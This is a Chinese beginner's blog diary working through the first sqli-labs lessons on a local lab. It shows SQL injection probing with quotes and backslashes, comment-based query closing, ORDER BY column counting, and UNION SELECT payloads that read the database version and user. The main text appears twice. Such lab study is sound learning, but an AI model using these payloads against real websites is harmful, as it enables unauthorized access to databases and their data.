sqli-labs从零开始学习日记(一)
2014-05-07 23:59
399 查看
学习SQL注入一直没什么头绪,用工具没基础用的很不爽,看到WOOYUN那些大牛扫腾讯,新浪的大战漏洞一般很多都是手动分析,我决定用SQLI-LABS学习,感觉不错,有兴趣的可以去他们的网站http://dummy2dummies.blogspot.com/2012/06/sqli-lab-series-part2.html去学习,要翻墙。
安装什么的自己用xampp搭建就行了。具体请看http://www.cnblogs.com/sylarinfo/p/3456445.html
先说下一些知识,也是刚刚学到的,其实以前知道,但是不懂。
搭建的平台是MYSQL 这次要用的语法知识(嗯,我觉得那些总结的只是对那些有基础的人有帮助,我这次学习了,再看总结就比较有感觉了)
注释三种
#(请用%23来使用,貌似是被转码了)
-- (--后面加个空格,用%20或者+表示空格)
/* */
然后了我们进入了http://localhost/sqli-labs/Less-1/?id=1
这个时候了开始尝试id=1'后面加了一个' 错误是 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 猜测应该是' ' ' 这个单引号配对错误。
换个id=1\来测试 错误是 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\' LIMIT 0,1' at line 1
第二个错误就比较明显的看出\' 这个问题了 果然是’单引号配对错误
构造id=1'--+ 我把后面的语句注释掉试试了 返回正确
这里的数据库查询语句是 SELECT login_name,password FROM table WHERE id='id' LIMIT 0,1//然后你看上面的错误就很容易看了
然后了我们进入http://localhost/sqli-labs/Less-2/?id=1
从开始的学习中我现在的第一步id=1' 错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 我们与less-1的那个错误对比多了一个")。
继续来个\错误是You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\') LIMIT 0,1' at line 1 看错误很清楚的知道这个id是用单引号闭合'id'
所以了我们构造个http://localhost/sqli-labs/Less-3/?id=1')--+返回正确
为什么这是注入点了,因为请看下面
SELECT login_name,password FROM table WHERE id='1' injection code --+LIMIT 0,1
这个时候又到了另一个知识点了,用order by 1 order by 2 order 3 一直到4出错,这也就代表就3列
然后重点就来了用联合查询union select
我们构造语句http://localhost/sqli-labs/Less-1/?id=1' union select 1,2,3--+//正确返回
http://localhost/sqli-labs/Less-1/?id=199' union select 1,2,3--+//返回2,3
http://localhost/sqli-labs/Less-1/?id=199' union select 1,version(),user()--+//注意对比
然后,等明天继续学习吧。
安装什么的自己用xampp搭建就行了。具体请看http://www.cnblogs.com/sylarinfo/p/3456445.html
先说下一些知识,也是刚刚学到的,其实以前知道,但是不懂。
搭建的平台是MYSQL 这次要用的语法知识(嗯,我觉得那些总结的只是对那些有基础的人有帮助,我这次学习了,再看总结就比较有感觉了)
注释三种
#(请用%23来使用,貌似是被转码了)
-- (--后面加个空格,用%20或者+表示空格)
/* */
然后了我们进入了http://localhost/sqli-labs/Less-1/?id=1
这个时候了开始尝试id=1'后面加了一个' 错误是 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1 猜测应该是' ' ' 这个单引号配对错误。
换个id=1\来测试 错误是 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\' LIMIT 0,1' at line 1
第二个错误就比较明显的看出\' 这个问题了 果然是’单引号配对错误
构造id=1'--+ 我把后面的语句注释掉试试了 返回正确
这里的数据库查询语句是 SELECT login_name,password FROM table WHERE id='id' LIMIT 0,1//然后你看上面的错误就很容易看了
然后了我们进入http://localhost/sqli-labs/Less-2/?id=1
从开始的学习中我现在的第一步id=1' 错误You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1 我们与less-1的那个错误对比多了一个")。
继续来个\错误是You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1\') LIMIT 0,1' at line 1 看错误很清楚的知道这个id是用单引号闭合'id'
所以了我们构造个http://localhost/sqli-labs/Less-3/?id=1')--+返回正确
为什么这是注入点了,因为请看下面
SELECT login_name,password FROM table WHERE id='1' injection code --+LIMIT 0,1
这个时候又到了另一个知识点了,用order by 1 order by 2 order 3 一直到4出错,这也就代表就3列
然后重点就来了用联合查询union select
我们构造语句http://localhost/sqli-labs/Less-1/?id=1' union select 1,2,3--+//正确返回
http://localhost/sqli-labs/Less-1/?id=199' union select 1,2,3--+//返回2,3
http://localhost/sqli-labs/Less-1/?id=199' union select 1,version(),user()--+//注意对比
然后,等明天继续学习吧。
相关文章推荐
- sqli-labs从零开始学习日记(二)
- SQL 学习日记—存储过程
- Sqli-labs学习SQL注入-Lesson 1-10总结
- SQLi-Labs学习笔记
- 从零开始学习VBA(日记)
- 黑马程序员_学习日记47_615数据库开发及ADO.Net(连接字符串、SqlDataReader对象、连接池)
- 从零开始学习SQL语句
- 黑马程序员_学习日记48_616数据库开发及ADO.Net(带参数的Sql语句、数据库与文本文件导入导出、省市联动、资料管理器、DataSet (ado.net断开式数据访问)、SQLHelper)
- 学习SQL日记--case a when 1 then x when 2 then y else a end
- java 从零开始,学习笔记之基础入门<SQL_Server>(二十一)
- sqli-labs学习教程(三)
- SQLi-Labs 学习笔记(Less 51-65)
- 小白学习日记1:PL/SQL连接本地Oracle数据库Part1
- sqli-labs学习教程(二)
- java 从零开始,学习笔记之基础入门<SQL_Server_视图_函数_存储过程_触发器等>(二十三)
- SQLi-Labs 学习笔记(Less 1-10)
- SQLi-Labs 学习笔记(Less 31-40)
- 从零开始学习SQL(图文教程)
- 黑马程序员_学习日记51_621数据库开发及ADO.Net(游标、动态sql)
- [传智播客学习日记]SQL语句一例通之二——查询、存储过程